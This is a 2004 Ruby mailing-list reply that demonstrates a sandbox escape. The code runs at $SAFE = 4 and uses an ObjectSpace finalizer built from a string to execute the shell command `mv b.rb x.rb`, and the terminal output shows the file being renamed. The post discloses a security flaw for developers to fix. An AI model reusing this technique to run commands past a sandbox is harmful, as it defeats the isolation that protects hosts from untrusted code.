From: ts <decoux@...>
Date: 2004-05-28T22:00:29+09:00
Subject: Re: ruby-dev summary 23459-23562

>>>>> "F" == Florian Gross <flgr@ccan.de> writes:

F> What kind of error are you talking about exactly? The code seems to
F> work fine for me.

 You've not seen my message on ruby-talk

svg% ls b.rb x.rb
ls: x.rb: No such file or directory
b.rb*
svg% 

svg% cat b.rb
#!/usr/bin/ruby
ObjectSpace.module_eval do
   class << self
      old_finalizer = instance_method(:define_finalizer)
      define_method(:_define_finalizer) do |block, *args|
         p $SAFE
         raise(SecurityError, "Penalizing finalizing") if $SAFE > 1
         old_finalizer.bind(self).call(*args, &block)
      end
      def define_finalizer(*args, &block)
         _define_finalizer(block, *args)
      end

      alias :add_finalizer :define_finalizer
   end
end

$SAFE = 4

class << s = "`mv b.rb x.rb`"
   def call
   end
end
a = Object.new
ObjectSpace.define_finalizer(a, s)
svg% 

svg% b.rb
0
svg% 

svg% ls b.rb x.rb
ls: b.rb: No such file or directory
x.rb*
svg% 

 it run with $SAFE = 4 but I've still the possibility to define a
 finalizer 


-- 

Guy Decoux